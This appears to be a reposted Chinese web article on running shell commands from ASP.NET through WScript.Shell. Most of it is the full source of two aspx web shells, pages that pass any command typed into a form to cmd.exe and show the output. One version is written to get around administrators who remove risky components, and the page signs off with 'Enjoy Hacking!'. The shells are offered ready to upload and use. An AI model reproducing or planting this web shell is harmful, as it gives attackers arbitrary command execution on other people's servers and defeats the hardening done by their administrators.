打印本文 打印本文 关闭窗口 关闭窗口
ASP.NET下使用WScript.Shell执行命令
作者:武汉SEO闵涛  文章来源:敏韬网  点击数1113  更新时间:2009/4/23 10:39:36  文章录入:mintao  责任编辑:mintao
        ASP.NET下有自己的执行CMD命令的方式,这里用WScript.Shell似有画蛇添足之嫌,但是我们也不能排除真的有机器禁用了.NET的相关类,未雨绸缪嘛。当然也不仅仅局限于WScript.Shell,只要是ASP中能用的组件,统统都可以用于ASP.NET中,而且还更方便!        ASP.NET提供了两种方法让我们使用COM组件:1、Server对象的CreatObject方法;2、将COM组件转化为.NET组件。 ·Server对象的CreatObject方法        这个方法比较简单,直接使用就是。当然前提是服务器上已经注册了该组件,而WScript.Shell是系统自带的,我们不用担心。只是在编写代码时注意ASP.NET与ASP语法上的细微差别就可以了。直接给出代码如下:<!--Titel:  WScript.Shell .NET Version 1Author: lake2Mail: lake2@mail.csdn.netSite: http://lake2.0x54.orgThanks: InternetDate:  2005-8-20--><%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %><script runat="server">sub runcmd(Src As Object, E As EventArgs)         Dim StrResult As String         Dim CMDShell As Object         CMDShell = Server.CreateObject("WScript.Shell")         StrResult = CMDShell.eXec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall         StrResult =  Replace(StrResult , "<","&lt;")         StrResult =  Replace(StrResult , ">","&gt;")         ResultLabel.Text = "<pre>" & StrResult & "</pre>"end sub</script><html><head><title>WSH.SHell For ASP.NET By lake2</title></head><body><form runat="server">  "cmd.exe"''''s path:&nbsp;<asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" />    <br>  Your Command:&nbsp;&nbsp;<asp:TextBox ID="CMDBox" Width="200" runat="server" />    <asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />  <br>  <asp:Label ID="ResultLabel" runat="server" />  </form><div align="center">----------- <font color="#0000FF">Enjoy Hacking!</font> -----------</div><hr width="50%"></body></html>        保存为aspx文件,访问之,即可。 ·COM组件转化为.NET组件        微软给我们提供了类型库导入器(Type Library Importer),经过它的转换,我们就可以使用COM组件了。转换之后,会有一个dll文件,需要放到Web目录的bin目录下组件才可以被使用。        虽然这样多了一个dll,但是这个dll不需要注册就可直接使用,非常方便,这也是ASP.NET与ASP的区别之一。哈哈,有的BT管理员没事要删除“有害”的组件,现在他也没办法了吧^_^        WScript.Shell对象是%windir%\system32\WSHom.Ocx,我们把它copy出来拿给类型库导入器转换:Tlbimp.exe WSHom.Ocx /out: WSHomx.dll        然后把WSHomx.dll放到WEB目录的bin下面。接着写代码咯,与前面的代码有少许不同。<!--Titel:  WScript.Shell .NET Version 2Author: lake2Mail: lake2@mail.csdn.netSite: http://lake2.0x54.orgThanks: InternetDate:  2005-8-20--><%@ Page Language="VB" validateRequest="false"%><script runat="server">sub runcmd(Src As Object, E As EventArgs)         Dim StrResult As String         Dim CMDShell As New WSHomx.WshShell        ……(后同代码1)现在访问之,看看效果吧:)by lake2      同理,我们也可以在ASP.NET下用FSO读写文件,Application执行命令、Jmail发送邮件,等等等等。呵呵,.NET大有前途的啊。(文中的程序点击这里下载。wscmd.aspx可直接使用;wsxcmd.aspx需使用wshomx.dll)

打印本文 打印本文 关闭窗口 关闭窗口